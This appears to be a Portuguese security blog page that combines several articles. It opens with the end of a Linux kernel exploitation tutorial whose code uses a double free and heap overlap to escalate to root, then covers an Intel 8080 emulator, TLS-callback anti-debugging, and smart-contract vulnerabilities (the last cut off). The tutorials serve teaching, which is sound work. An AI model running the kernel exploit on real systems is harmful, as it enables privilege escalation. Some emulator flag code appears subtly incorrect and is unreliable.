unsigned long bak_rip = (unsigned long)bin_sh; void shellcode(){     __asm__(         ".intel_syntax noprefix;"         "mov rdi, 0;"         "movabs rbx, 0xffffffff81053c50;"         "call rbx;"         "mov rdi, rax;"         "movabs rbx, 0xffffffff81053a30;"         "call rbx;"         "swapgs;"         "mov r15, bak_ss;"         "push r15;"         "mov r15, bak_rsp;"         "push r15;"         "mov r15, bak_rflags;"         "push r15;"         "mov r15, bak_cs;"         "push r15;"         "mov r15, bak_rip;"         "push r15;"         "iretq;"         ".att_syntax;"     ); } /* Exploit */ int main(){     char payload[0x20];     void *func_ptr = &shellcode;     bak();     open_dev();     /* Double free */     do_create(0, (char *)0x1337000, 0x20);     do_delete(0);     /* Allocate seq_operations */     target = open("/proc/self/stat", O_RDONLY);     /* Consume free entry */     open("/proc/self/stat", O_RDONLY);     /* Overlap w/ setxattr */     setxattr("/proc/self/stat","exploit", &func_ptr, 0x20, 0);     read(target, payload, 1);     return 0; } Considerações finais
O heap do kernel linux é bastante complexo e várias técnicas não foram cobertas, diferentes bugs são explorados de diferentes formas em diferentes alocadores com diferentes configurações, logo, escrever um exploit exige compreender e ler a implementação do alocador (qual é a rotina para alocar e remover objetos? Como funciona o gerenciamento dos caches?), entender a capacidade total de cada bug (o que dá para fazer com essa vuln?) e entender o objetivo do exploit (que valor na memória eu posso querer corromper?). Esses conhecimentos e questionamentos podem servir de guia para escolher estruturas para corromper, técnicas, objetos usados para moldar a memória, etc.
Referências
https://docs.google.com/viewerng/viewer?url=http://www.personal.psu.edu/yxc431/publications/SLAKE.pdf https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628#任意データ書き込みHeap-Sprayに使える構造体 https://0xten.gitbook.io/public/hackthebox/retired-challenges https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/  
 
  • 3,947 views
Introdução
Olá, neste artigo irei abordar a emulação do Intel 8080, com tópicos sobre lógica, instruções e rotinas. O projeto completo do código está no meu Github. ?
Para emular o Intel 8080, usei C++, linguagem com a qual estou familiarizado com a sintaxe. Neste artigo irei demonstrar trechos de códigos com instruções usadas pelo Intel 8080 e explicar a lógica por trás. Requisitos mínimos para compreender o artigo incluem C++ e conhecimentos sobre o funcionamento de processadores (flags de estado, registradores, instruções).
História
Estudando sobre processadores, me veio a dúvida: Como a lógica de um processador é implementada?. Para compreender isso, precisei estudar um pouco sobre Verilog, porém meu intuito era fazer a emulação de um processador, então decidi emular o Intel 8080, que foi o segundo microprocessador de 8 bits da Intel, tendo como antecessor i8008 e sucessor o i8085.
O Intel 8080 possui 65536 bytes de memória disponível e 7 registradores de 8 bits (A, B, C, D, E, H e L). Ele obtém as operações que vai executar a partir de pares de registradores de 16 bits (HL, BC e DE) e utiliza 5 flags de estado (PF, SF, AC, CF e ZF). Vamos ver agora como avancei nesse desenvolvimento. ?
O que é emulação?
Da Wikipedia: "Na computação, um emulador é um software que reproduz as funções de um determinado ambiente, a fim de permitir a execução de outros softwares sobre ele. Pode ser pela transcrição de instruções de um processador alvo para o processador no qual ele está rodando, ou pela interpretação de chamadas para simular o comportamento de um hardware específico. O emulador também é responsável pela simulação dos circuitos integrados ou chips do sistema de hardware em um software. Basicamente, um emulador expõe as funções de um sistema para reproduzir seu comportamento, permitindo que um software criado para uma plataforma funcione em outra. Também são disponíveis emuladores de consoles de vídeo games".
Para construir um emulador, então, precisamos reproduzir o funcionamento de algo. No caso, do Intel 8080. Este tem várias partes que precisam ser reproduzidas (registradores, pilha de memória, flags, etc), mas precisamos começar de algum lugar, né? Vamos em frente!
Desenvolvimento
Memória / Stack
Vamos começar pela pilha (stack). O processador precisa colocar dados nela com a instrução PUSH e remover/recuperar com a instrução POP. Abaixo minha implementação:
#define MAX_MEMORY 0x10000L  inline byte_t memory[MAX_MEMORY]; void Instructions::push(word_t data16) { SP -= 2; memory::write_memory_word(SP, data16); } word_t Instructions::pop() { word_t mem = memory::read_memory_word(SP); SP += 2; return mem;  } Podemos notar, quando efetuamos o push(), que o registrador SP (Stack Pointer) é decrementado em duas unidades. Analogamente, SP é incrementado em duas unidades quando a função pop() é chamada.
Dois registradores que são essenciais para o uso da stack, o SP, e o PC :
(SP)Stack Pointer Operações de empilhamento são realizadas por várias das instruções, e facilitar a execução de sub-rotinas e tratamento de interrupções de programa. Especifica quais endereços as operações de stack irão operar por meio de um registro especial acessível de 16 bits chamado Ponteiro da Pilha(SP), (PC) Program Counter  É um registrador de 16 bits que é aceito acessível ao programador e cujo conteúdo indique o endereço da próxima instrução a ser executada. Nota: O Intel 8080 endereça a memória em 16-bits através do registrador de Stack Pointer (SP). O tipo word_t é uma palavra-chave para o tipo uint16_t. O mesmo vale para byte_t e uint8_t.
Flags
As flags de estado indicam resultados de operações. No Intel 8080, são elas:
Sign (S), definida quando o resultado é negativo.  Zero (Z), definida quando a operação tem como resultado zero.  Parity (P), definida quando o número de bits 1 em uma operação é par. Carry (C), definida se a última operação de adição resultou em um transbordo ou se a última operação de subtração exigiu um empréstimo. Auxiliary Carry (AC ou H), usada para aritmética com binary-coded decimal (BCD).  Para implementar as flags, utilizei operadores de bitwise. Por exemplo, segue a implementação da instrução ADD, que faz uma operação de adição:
void Instructions::add(word_t data16) { word_t work16 = A + data16; A = work16 & 0xff; CF = (work16 & 0x100) != 0; AC = ((A >> 7) & 0x1) != 1; SF = (A & 0x80) != 0; ZF = (A == 0);  PF = parity(A); } Nota: Utilizei o registrador A (Acumulador) para somar o argumento da instrução ADD. Falarei mais sobre os registradores mais a frente no texto.
Vamos à explicação da configuração das flags no contexto da instrução ADD:
CF recebe o resultado de uma operação de bitwise, pegando os 8 bits menos significativos e verificando se o resultado é 1.   AC recebe o resultado de uma operação de bitwise movendo 7 bits a direita e verifica se é 0.  SF pega os bits mais significativos e verificar se o resultado é 1. ZF verifica se o registrador A é 0, ou seja, se a nossa adição resultou em um valor 0. PF depende do resultado da função parity(), explicada abaixo. Flag de Paridade
Para implementar a flag de paridade, escrevi uma função que percorre os 8 bits mais significativos do meu registrador e faz a contagem de quantos bits 1 foram encontrados.
Caso essas operações de bitwise retornem verdadeiro, a flag é setada para 1. Caso contrário, 0. Segue a função:
inline static bool parity(byte_t n) { word_t p_count = 0; for (int i = 0; i <= 8; i++) p_count += (n >> i) & 1; return !(p_count&1); } Registradores
O Intel 8080 possui sete registradores de 8-bits, sendo A o registrador principal, na sequência temos B, C, D, E, H e L.
Para trabalhar com números de 16-bits, o Intel 8080 acessa os pares de registradores HL, DE e BC. O par HL é tipicamente usado para endereçar a memória (H = high e L = low). Algumas instruções também permitem que o par de registradores HL seja usado como um acumulador de 16 bits.
Implementação do par HL:
void Instructions::set_hl(word_t data16) { L = data16 & 0xff; H = data16 >> 8; } Instruções
Sem dúvidas meu maior desafio foi na implementação das instruções do processador. De acordo com o manual Intel 8080 Programmers, este processador possui 78 instruções de categorias variadas: aritméticas com binários e decimais, lógicas, de operação com um byte de dados, saltos, etc. Segue alguns exemplos de conjuntos de instruções:
Adição
ADD (Add Register or Memory to Accumulator) ADC (Add Register or Memory to Accumulator With Carry) ACI (Add Immediate to Accumulator With Carry)  DAD (Double Add) Subtração  
SUB (Subtract Register or Memory) SBB (Subtract Register or Memory From Accumulator With Borrow)  SUI (Subtract Immediate From Accumulator) SBI (Subtract Immediate From Accumulator With Borrow) CMP (Compare Register or Memory With Accumulator)  CPI (Compare Immediate With Accumulator Direct Addressing Instructions) Rotação
RLC (Rotate Accumulator Left) RRC (Rotate Accumulator Right) RAL (Rotate Accumulator Left Through Carry) RAR (Rotate Accumulator Right Through Carry)  Lógicas
ANA (Logical and Register or Memory With Accumulator) ORA (Logical or Register or Memory With Accumulator) XRA (Logical Exclusive-Or Register or Memory With Accumulator (Zero Accumulator)) ANI (And Immediate With Accumulator) ORI(Or Immediate With Accumulator)  XRI (Exclusive-Or Immediate With Accumulator)  Eu utilizei uma construção switch/case em C++ para implementar o reconhecimento das instruções do Intel 8080, no método i8080:execute_opcode(). Nele, fiz um grande switch para testar os opcodes de cada instrução que decidi emular, utilizando esta página como referência.
Vejamos algumas implementações. Nos exemplos abaixo, data16 é um valor imediato.
A instrução SUB deve fazer A = A - data16. Flags afetadas: CF, AC, SF, ZF e PF. Segue a implementação:
void Instructions::sub(word_t data16) { word_t work16 = A - data16; A = work16 & 0xff; AC = ((A >> 7) & 0x1) != 1; CF = (work16 & 0x100) != 0; ZF = (A == 0); SF = (A & 0x80) != 0; PF = parity(A); } Já a instrução RAL deve rotacionar os bits de um número uma única vez para a esquerda. Apenas a flag CF é afetada:
void Instructions::ral() { bool flag = CF; CF = A >> 0x07; A = ( A << 0x01 ) | flag; } A instrução ANA faz um AND bit-a-bit entre A e o byte passado como argumento. Flags afetadas: CF, AC, ZF, SF e PF. Ficou assim:
void Instructions::ana(word_t data16) { byte_t work16 = A & data16; CF = work16 >> 8; AC = ((A | data16) & 0x08) != 0; ZF = (work16 & 0xff) == 0; SF = (work16 & 0x80) != 0; PF = parity(work16 & 0xff); A = work16; } Essas são algumas das implementações de instruções que fiz. No total, foram 19 instruções emuladas, além de operações na stack. Para mais detalhes, testes e acesso completo ao código fonte, basta acessar o repositório do projeto no Github. Contribuições e feedbacks são muito bem vindos! Valeu! ?
  • 3,061 views
A crescente digitalização que vem ocorrendo nos últimos anos em todas as esferas do cotidiano tem afetado diretamente tanto pessoas quanto empresas. Cada vez mais, consumidores compram online, funcionários trabalham remotamente, empresas migram serviços e dados para ambientes cloud, adotam ferramentas de analytics - sem falar de outras tecnologias que já estão no horizonte ou em processo de adoção como IoT, 5G, I.A., etc. 
Tudo isso vem acompanhado de novos desafios e riscos que exigem uma postura mais proativa na proteção das informações e ativos de pessoas e empresas. 
Adotar essa postura envolve uma jornada que deve considerar as particularidades do negócio e sua relação com toda essa tecnologia, especialmente em uma realidade altamente complexa, com pessoas, unidades de negócios, terceirizados e fornecedores acessando ativos e dados valiosos através de inúmeras redes, dispositivos e aplicativos.  
É nesse cenário que CIOs, CISOs e os times encarregados de proteger o negócio precisam identificar e corrigir vulnerabilidades dentro das empresas, estejam elas onde estiverem .
 
Um cenário complexo que pede uma postura de segurança proativa 
Uma postura proativa na segurança da informação pode ser resumida na habilidade de antecipar as táticas, técnicas e procedimentos usados por atacantes. 
Para isso é preciso, antes de tudo, pensar como ele, bem como ter acesso às mesmas ferramentas e habilidades que eles teriam. 
Isso demanda acesso a uma solução que envolva uma equipe especializada, que seja capaz de simular o atacante, identificando e simulando a exploração de falhas de segurança em profundidade, evidenciando os principais impactos ao negócio. E o Pentest é o que melhor representa essa postura. 
Pentests, ou testes de penetração, nada mais são do que uma série de testes executados para identificar os pontos mais vulneráveis a um incidente cibernético, avaliar a exposição da organização e sua capacidade de lidar com esses incidentes. Eles podem ser aplicados a qualquer dispositivo ou ambiente - redes, aplicativos, dispositivos pessoais, sistemas de controle industrial, dispositivos IoT ou mesmo carros e aviões. 

Um tipo de pentest para cada situação
Para atender a essa gama de aplicações existem diversos tipos de pentests (veja abaixo). Sua escolha requer cautela, uma vez que há muitas diferenças entre os serviços e entre os seus fornecedores
Segundo o Gartner, é fundamental que os líderes de segurança analisem “o tipo específico de teste necessários e os objetivos, escopo, requisitos e limites dos testes” a fim de definir tanto o serviço quanto o seu fornecedor.

Conheça Alguns Tipos de Pentest
External - tem como objetivo entrar no ambiente corporativo de TI ou obter acesso a dados ou sistemas críticos a partir da Internet
Internal - avalia as proteções do ambiente corporativo de TI sob o ponto de vista da rede interna
Mobile Application - visa encontrar vulnerabilidades ou discrepâncias de programação que possam ser usadas em um ataque
Web Application - avalia resiliência de aplicações web
Wi-Fi - verifica a possibilidade de comprometer ambientes corporativos a partir de redes Wi-Fi
IoT - testa a resiliência de dispositivos IoT
Testes no Ambiente de Rede - verifica vulnerabilidades neste ambiente e em seus dispositivos
Testes de Software - identifica falhas que possam levar ao controle do dispositivo, injeção ou interceptação de dados, etc.
Testes de Hardware - verifica vulnerabilidades diretamente ao hardware do dispositivo alvo
Estas e outras modalidades de Pentest fazem parte das ofertas da Tempest.

A importância de contar com o parceiro correto para proteger seu negócio
É  fundamental contar com parceiros com expertise técnica que ofereçam produtos, serviços e conhecimento para identificar possíveis brechas de segurança na organização.
A Tempest Security Intelligence é a maior empresa brasileira especializada em  cibersegurança e prevenção a fraudes digitais.
Hoje contamos com um time de mais de 450 profissionais e escritórios em Recife, São Paulo e Londres; nos últimos anos a Tempest ajudou a proteger mais de 500 empresas de todos os portes de setores como serviços financeiros, varejo e e-commerce.
Pesquisando  e criando novas soluções de proteção digital, a Tempest alia expertise técnica, sólida metodologia e alta tecnologia para entregar um portfólio com mais de 70 soluções, envolvendo Consultorias, Digital Identity, Managed Security Services e Integração.
 
  • 1,559 views
Introdução
Reunir informações sobre técnica de "Anti- Engenharia  Reversa" é a proposta dessa série de artigos que serão publicados aqui no Mente Binária. É um tema em que tenho pesquisado e criado pequenos tutoriais práticos para mim mesmo durante o último ano, e resolvi compartilhá-los. 
Em cada um deles darei uma passada nas principais técnicas encontradas em todas as classes de defesa dos criadores de malware, além de mostrar como desabilitá-las. Tudo com exemplos de código para se entender na prática mesmo. 
*Para a implementação estarei utilizando o Visual Studio Community, pois este tem o suporte ao ambiente C Runtime (CRT) necessário.
A grande maioria das técnicas que serão apresentadas é para o ambiente Windows. Alguns poucos casos, que serão informados, são para Linux.
Como pré-requisito, é necessário algum conhecimento de linguagem C\C++, um pouco de Assembly e principalmente Engenharia Reversa. Todos estes tópicos são abordados nos cursos gratuitos no canal do Mente Binária no Youtube.
*No caso, não apresentarei a técnica mais simples/comum que utiliza a função IsDebuggerPresent(), pois esta técnica é explicada na última aula do curso do CERO aqui do Mente Binária.
Classes de Anti-Engenharia Reversa
Essas classes são uma forma de categorizar os métodos de "Anti-Engenharia Reversa", agrupando métodos de evasão semelhantes num mesmo grupo ou “classe”. Como não existe uma classificação oficial, estas classes estão baseadas na divisão apresentada nesta referência, com algumas adaptações.
TLS Callback
Windows:
A Thread Local Storage (TLS) é um recurso do Windows  para definir objetos (variáveis) na memória que possam ter valores diferentes para cada thread criada por um processo.
Por exemplo, ao imprimir um documento, uma thread se encarrega de mostrar o documento na tela, enquanto outra acessa esta mesma informação simultaneamente para lidar com a impressão. A thread de impressão pode ter uma variável que armazena a quantidade de páginas impressas, porém, esta variável não se faz necessária na thread que apresenta o documento na tela.
Esta informação é armazenada (daí o nome "Thread Local Storage") numa região definida no cabeçalho dos binários PE (Portable Executable), e o acesso só é permitido para sua respectiva thread.
As funções TLS Callback executam antes do binário alcançar seu "ponto de início", chamando e inicializando estes objetos TLS através de métodos construtores e os removendo da memória por métodos destrutores após seu uso. Com isso em mente, as TLS Callbacks também podem ser utilizadas pelos desenvolvedores de malware para permitir que se execute código antes que o binário chegue à região tradicional de início do programa, conhecido como Entrypoint, que irá levar em seguida à função main(). Isto cria diversas oportunidades como por exemplo executar código malicioso antes que o depurador possa detectá-lo (levar o malware a encerrar o processo antes mesmo de executar as rotinas maliciosas ao perceber que está sendo depurado, por exemplo).
Alguns exemplos de malwares que empregam TLS Callbacks no Windows são:
Nadnadzzz botnet de 2009; Grum botnet de 2008, através do Grum rootkit; Ursnif (mais recente); Implementação
A biblioteca C Runtime (CRT) do Visual Studio provê suporte para fácil criação de TLS Callbacks (como comentado aqui) graças ao código em “C:\Program Files (x86)\Microsoft Visual Studio xx.0\VC\crt\src\tlssup.c”, que cria um diretório de dados TLS baseado na seguinte estrutura:
typedef struct _IMAGE_TLS_DIRECTORY32 { DWORD StartAddressOfRawData; /* Início da seção TLS AddressOfRawData*/ DWORD EndAddressOfRawData; /* Endereço final na seção TLS */ DWORD AddressOfIndex; /* Índice da seção TLS */ DWORD AddressOfCallBacks; /* Ponteiro para o array de funções callback */ DWORD SizeOfZeroFill; DWORD Characteristics; } __tls_used;  
 Para criarmos a nossa própria callback precisamos primeiro defini-la no seguinte formato:
VOID WINAPI tls_callback1( PVOID DllHandle, DWORD Reason, PVOID Reserved) { codigo_funcao; } As constantes para DWORD Reason podem ser:
DLL_PROCESS_DETACH = 0 DLL_PROCESS_ATTACH = 1 DLL_THREAD_ATTACH = 2 DLL_THREAD_DETACH = 3 Depois a callback precisa ser alocada da seguinte forma:
PIMAGE_TLS_CALLBACK ponteiro_tls_callback = tls_callback1; Após esta contextualização do mecanismo de funcionamento, segue um exemplo de código onde a função de callback detecta o ambiente de depuração através da função IsDebuggerPresent() e sai informando que o mesmo foi descoberto. Caso contrário, informa que o programa está executando normalmente:
#include <iostream> #include <windows.h> using namespace std; // Declara uma variável global requerida para a chamada TLS Callback static int v1 = 0; // Declara a callback VOID WINAPI tls_callback1( PVOID DllHandle, DWORD Reason, PVOID Reserved) { if (Reason == DLL_PROCESS_ATTACH) { v1 = 1; // dentro da Callback altera o valor da variável if (IsDebuggerPresent()) { cout << "Stop debugging program!" << endl; TerminateProcess(GetCurrentProcess(), 0x1); exit(1); } } } // Cria objeto conforme a arquitetura através de #pragmas, que são instruções específicas do compilador #ifdef _M_AMD64 // para arquitetura x86_64 #pragma comment (linker, "/INCLUDE:__tls_used") // instrui linker usar o diretório TLS #pragma comment (linker, "/INCLUDE:p_tls_callback1") // instrui linker usar ponteiro do mesmo tipo da callback tls_callback1 declarada antes #pragma const_seg(push) // carrega o ponteiro na stack do compilador para uso da callback no segmento de dados const (.rdata) #pragma const_seg(".CRT$XLA") // cria nova seção TLS EXTERN_C const PIMAGE_TLS_CALLBACK p_tls_callback1 = tls_callback1; // atribui tls_callback1 ao ponteiro p_tls_callback1 #pragma const_seg(pop) // remove o ponteiro da stack após o uso #endif // fim deste bloco #ifdef _M_IX86 // para a arquitetura x86. as instruções tem as mesmas finalidades do bloco anterior #pragma comment (linker, "/INCLUDE:__tls_used") #pragma comment (linker, "/INCLUDE:_p_tls_callback1") #pragma data_seg(push) #pragma data_seg(".CRT$XLA") EXTERN_C PIMAGE_TLS_CALLBACK p_tls_callback1 = tls_callback1; #pragma data_seg(pop) #endif // main() só será executada depois, quando um depurador não for detectado int main(int argc, char* argv[]) { cout << "Normal execution!" << endl; printf("test value from tls callback is: tls = %d\n", v1); return 0; } Abaixo estão algumas dicas de como lidar com TLS Callbacks em diversas ferramentas:
x64dbg: Options → Preferencias → Eventos → TLS Callbacks OllyDbg: Options -> Debug Options -> Events -> Make first pause at -> System breakpoint (para em TLS Callbacks) OllyDbg: Plugin Olly Advanced → Break on TLS Callback IDA Pro: Ctrl+E → Choose an entry point IDA Pro (Debugger): Debugger -> Debugger options -> Events -> Stop on (marcar todas as opções) Linux:
O Linux também suporta o Thread Local Storage (TLS), conforme descrito nestes 2 excelentes artigos:
https://maskray.me/blog/2021-02-14-all-about-thread-local-storage https://chao-tic.github.io/blog/2018/12/25/tls No entanto, o recurso de TLS no Linux aparentemente só permite a inicialização de variáveis ou objetos, e não chamada de função (como é o caso no Windows). Isto somente seria possível de dentro da main(), como nesse pequeno exemplo que usa o recurso de suporte a threads da Glibc:
 
#include <stdio.h> // TLS que define e inicializa a variável __thread int main_tls_var = 2; int main() { printf("%d\n", main_tls_var); return 0; }  
$ ./tls 2 No entanto, ainda é possível executar funções antes ou depois da main() no Linux através das funções construtoras e destrutoras devido ao suporte do GCC. Observem que uma função construtora em C++ instancia uma variável, definindo seu valor, enquanto que a destrutora a remove da memória após a conclusão da execução (normalmente em retorno de funções):
 
#include<stdio.h> /* atributo construtor em myStartupFun() para executar antes de main() */ void myStartupFun (void) __attribute__ ((constructor)); /* atributo destrutor em myCleanupFun() para executar depois de main() */ void myCleanupFun (void) __attribute__ ((destructor)); /* implementacao de myStartupFun */ void myStartupFun (void) { printf ("startup code before main()\n"); } /* implementacao de myCleanupFun */ void myCleanupFun (void) { printf ("cleanup code after main()\n"); } int main (void) { printf ("hello\n"); return 0; } *Por padrão a __libc_start_main(*main(), argc, **argv, __libc_csu_init(), __libc_csu_fini()) é a função da glibc que chama a main(), onde __libc_csu_init é o construtor e __libc_csu_fini é o destrutor.
No Linux também é possível evadir o depurador através da função ptrace, mas isso é um assunto que abordarei mais para frente, inclusive com exemplo prático.
Por hora convido vocês a continuarem sintonizados, pois no próximo artigo começarei a tratar de técnicas da classe que utiliza flags de depuração para detectar o debugger.
Forte abraço & até lá!
Referências:
https://www.codeproject.com/Articles/1090943/Anti-Debug-Protection-Techniques-Implementation-an https://anti-debug.checkpoint.com/ https://rayanfam.com/topics/defeating-malware-anti-vm-techniques-cpuid-based-instructions/ https://evasions.checkpoint.com/ https://anti-reversing.com/Downloads/Anti-Reversing/The_Ultimate_Anti-Reversing_Reference.pdf
  • 2,464 views
Nesse artigo vamos abordar sobre segurança de smart contracts, que afetam diretamente dApps e o universo das criptomoedas, uma vez que os contratos são a base da Web3. Veremos as principais vulnerabilidades nesse ecossistema e uma vulnerabilidade real crítica que foi encontrada. O problema dessas vulnerabilidades é que, como o universo blockchain tem uma forte relação com dinheiro, elas são capazes de causar danos financeiros de bilhões de dólares.
 O que exatamente é Web3?
Web3 é o nome que se dá a "nova era" da internet que está surgindo com a tecnologia blockchain e Smart Contracts. Na Web3 temos a descentralização como a principal característica, "descentralized Applications" (dApps) é o nome que se dá às aplicações dessa nova categoria, onde não existe um servidor centralizado, tudo está registrado na blockchain, que é uma tecnologia descentralizada por design. Nessas aplicações podemos encontrar governanças descentralizadas (DAOs), tokens sendo a moeda principal da aplicação ao invés de real ou dólar e, o principal, códigos sendo executados na blockchain por meio de Smart Contracts.
E o que são Smart Contracts?
Smart Contracts são códigos com funções definidas que, quando são chamadas e executadas, se a execução for bem sucedida, tudo é registrado na blockchain, e a partir daí nada mais altera o que foi executado e nem retira da blockchain. Smart Contracts podem ser escritos em diversas linguagens atualmente, mas quando estavam surgindo, a linguagem Solidity foi criada para essa finalidade.  
O que executa os Smart Contracts é a Ethereum Virtual Machine (EVM) que é uma máquina de estado mantida por vários computadores rodando um "node" do Ethereum. Aqui vamos falar da rede Ethereum que foi a que introduziu o conceito de Smart Contracts, porém muitas outras redes agora também usam essa tecnologia, como a Binance Smart Chain (BSC), Solana, Polygon etc.
Rede Ethereum
A rede Ethereum é uma das redes mais consolidadas e famosas do universo crypto, foi pioneira no modelo de Smart Contracts e possui como criptomoeda nativa o Ether (ETH).  
Qualquer um é livre para criar uma aplicação descentralizada na rede Ethereum, o que significa que qualquer um pode escrever um Smart Contract e fazer "deploy" dele na rede. Quando o deploy de um Smart Contract é feito, é atribuído um endereço a ele (address), assim como carteiras de pessoas também possuem um endereço.  
Para chamar uma função de um Smart Contract é necessário passar exatamente o que é para ser chamado no campo data de uma transação e assiná-la com sua chave privada (hoje existem várias bibliotecas que fazem isso automaticamente para você), além disso, também é necessário pagar uma taxa de transação, chamada de "gas fee" (pago em ETH). 
Levando em conta que qualquer pessoa, a qualquer hora pode executar funções de outros Smart Contracts é necessário que o código destes esteja bem seguro, se não podem haver danos desastrosos.
Vulnerabilidades em Smart Contracts
Vamos percorrer algumas vulnerabilidades listadas no TOP 10 da DASP (Descentralized Application Security Project) - https://dasp.co/  
Esse é o último TOP 10 vulnerabilidades em Smart Contracts que foram divulgadas pela DASP em 2018:
1. Reentrancy
2. Access Control
3. Arithmetic
4. Unchecked Low Level Calls
5. DoS
6. Bad Randomness
7. Front Running
8. Time manipulation
9. Short Addresses
10. Unknown Unknowns
1. Reentrancy
Reentrancy é provavelmente a vulnerabilidade mais famosa dos Smart Contracts, que já foi encontrada em diversos contratos de grandes dApps e podia causar milhões de dólares de prejuízo.  
A vulnerabilidade é causada quando uma função de um contrato chama uma função do controle do atacante, a partir daí é possível chamar a mesma função novamente e, dependendo de como essa função está programada, é possível induzir erros na lógica da aplicação.
Exemplo
function withdraw(uint _amount) external{      require(balances[msg.sender] >= _amount);     msg.sender.transfer(_amount);      balances[msg.sender] -= _amount;  } Essa função, parte de um Smart Contract programado em solidity, tem o objetivo de sacar ETH que estava armazenado nesse contrato. 
Antes de ver a vulnerabilidade, precisamos saber um pouco sobre algumas coisas do solidity para melhor entendimento da função. A variável balances é um mapping(address => uint), isso significa que é um "dicionário" que usa o endereço de uma carteira (address) como a chave e usa um valor inteiro positivo (uint) como valor dessa chave, nesse caso, o valor inteiro está representando a quantidade de ETH que aquele endereço possui (solidity não utiliza valores decimais, ele utiliza wei - 1 ETH = 10^18 wei ). Outra coisa que gera confusão é o msg.sender, que para o solidity é quem chamou essa função, podendo ter sido uma carteira comum (EOA - Externally Owned Account) ou um Smart Contract. Isso significa que esses 2 tipos de carteira podem chamar essa função, porém os Smart Contracts têm funcionalidades a mais que podem ser usadas para explorar a vulnerabilidade.
O fluxo dessa função é o seguinte:
 - Requer que o valor requisitado para sacar (_amount) seja menor do que o valor que o address realmente tem armazenado nesse contrato, caso contrário, a transação é revertida e não altera nada no estado da blockchain.
 - Envia os ETH requisitados para quem chamou a função (msg.sender) e chama a função receive(), se definida, no msg.sender. (para isso, o msg.sender deve ser um Smart Contract e não um EOA)
 - Atualiza o valor do balances de acordo com o quanto foi sacado.
Agora vamos para a vulnerabilidade em si. Essa função, ao transferir ETH para quem a chamou, executa a função receive() por padrão (se existir no contrato que a chamou). Portanto, nessa situação é possível escrever um Smart Contract em que a função receive() chama a função withdraw() desse contrato novamente. Assim, é possível sacar diversas vezes o valor que você possui pelo simples fato do valor de balances[msg.sender] ser atualizado apenas no final da função, que não é alcançado enquanto o receive() chamar withdraw() novamente. Como o valor de balances[msg.sender] não é alterado, o require() no começo da função sempre vai ser verdadeiro, sendo possível roubar mais valor do que você depositou no contrato.


fallback() é o que era chamado ao invés de receive() em versões anteriores do solidity.
Mitigação
Para deixar seu código livre de vulnerabilidades Reentrancy, existe um modificador de função (modifier) criado pelo OpenZeppelin que permite que a função não seja executada em Reentrancy, ou seja, se a função for chamada novamente em uma mesma execução.
Documentação do ReentrancyGuard e nonReentrant
Aqui está o código com a vulnerabilidade corrigida:
function withdraw(uint _amount) external nonReentrant{      require(balances[msg.sender] >= _amount);     msg.sender.transfer(_amount);      balances[msg.sender] -= _amount;  } 2. Access Control
Vulnerabilidades de controle de acesso são falhas de segurança relacionadas às permissões de cada endereço. O gerenciamento de permissões pode ser feito de forma mais simples apenas armazenando o address do criador do contrato (quem fez o deploy do contrato), ou pode utilizar ferramentas mais complexas, como gerenciamento por cargo (roles) usando o Role-Based Access Control do OpenZeppelin .
Se seu contrato gerenciar permissões de forma errada, é possível que esteja vulnerável a ataques de controle de acesso.
Exemplo
function initContract() public {      owner = msg.sender;  } Nesse trecho de código, existe uma função que define o dono do contrato, que provavelmente possui permissões sensíveis que não podem ser acessíveis por qualquer um. Entretanto, esse código está vulnerável, pois essa função pode ser chamada por qualquer pessoa uma vez que o modifier public está presente na definição da função e, portanto, se transformar no dono do contrato (msg.sender é o endereço de quem chamou a função).
Mitigação
Um código escrito de forma correta seria não criar uma função acessível para qualquer um poder ganhar permissões. Para isso, ao invés de definir o owner em uma função public, deve ser definido na função construtora do contrato - constructor(), que é uma função que só é executada quando o contrato é inserido na blockchain (quando for feito o seu deploy).
constructor(){     owner = msg.sender; } 3. Arithmetic Issues
Dentro dessa categoria está incluído integer overflow e integer underflow, porém, as versões do solidity >=0.8 checam se está ocorrendo um overflow ou underflow antes de fazer a aritmética e, por isso, não são vulnerabilidades exploráveis nas versões atuais do solidity.
Apesar disso, ainda existem vulnerabilidades de aritmética que podem ser exploradas caso o código não tenha cuidado com os valores da aritmética. Um vetor de ataque interessante são as divisões em que é possível controlar o numerador ou o denominador.  
A causa desse erro aritmético é o fato de solidity não suportar números do tipo float. Toda aritmética deve utilizar algum formato de inteiro, sendo o uint256 o tipo mais utilizado no solidity. Sabendo disso, no caso em que é possível controlar o numerador ou denominador em divisões, é possível deixar o dividendo menor que o divisor, que é para resultar um número 0 < x < 1, porém, o solidity interpreta como 0.
Exemplo
function _computeOraclePrice() private view returns (uint256) {     return uniswapPair.balance / token.balanceOf(uniswapPair); } Essa função utiliza a quantidade existente de um token e de ETH na Uniswap (Descentralized Exchange - DEX - utilizado para trocas de um token pelo outro -> "swap"). Nessa situação, o atacante pode trocar muitos desses tokens por ETH na Uniswap, fazendo com que o contrato da Uniswap tenha menos ETH e mais tokens, e, dessa forma manipular o preço do token para 0, explorando a falha aritmética nessa função (uniswapPair.balance pega a quantidade de ETH e token.balanceOf(uniswapPair) pega a quantidade de tokens).
Mitigação
Deve-se ter certeza de que o numerador é maior que o denominador. Uma forma de fazer isso é multiplicar o numerador por um valor alto.
function _computeOraclePrice() private view returns (uint256) {     return ((uniswapPair.balance * 10 ** 18) / token.balanceOf(uniswapPair)); } Logicamente, depois vai ser necessário tratar esse valor uma vez que o valor está 10^18 vezes maior do que deveria estar.
4. Unchecked Low-Level Calls
Chamadas de baixo nível no solidity são funções que, mesmo que ocorra um erro, a transação não é revertida. Ao invés disso, ao ocorrer um erro, o retorno da função é igual a false.  
A vulnerabilidade ocorre em certos casos onde a função de baixo nível não é bem sucedida e o código não verifica essa condição, que deve ser feita checando se o valor de retorno da função é false.  
Exemplo
function deposit(uint256 _amount) external{     token.call(         abi.encodeWithSignature(             "transferFrom(address,address,uint256)",             msg.sender,             address(this),             _amount         )     );     balances[msg.sender] += _amount; } Nessa função de depósito de tokens, o código usa uma função de baixo nível do solidity call(), que chama uma função do contrato do token transferFrom() (que faz parte do padrão ERC20 que permite transferir tokens de outras carteiras para outra carteira, mas, para isso ser possível, é necessário que o dono da carteira permita essa outra carteira a usar o transferFrom(). Essa funcionalidade é chamada de Allowance e o dono da carteira deve chamar a função approve() para permitir essa outra carteira acessar seus tokens. Após a transferência da carteira que está fazendo o depósito para o próprio contrato (address(this) = endereço do próprio contrato), a variável balances é alterada.
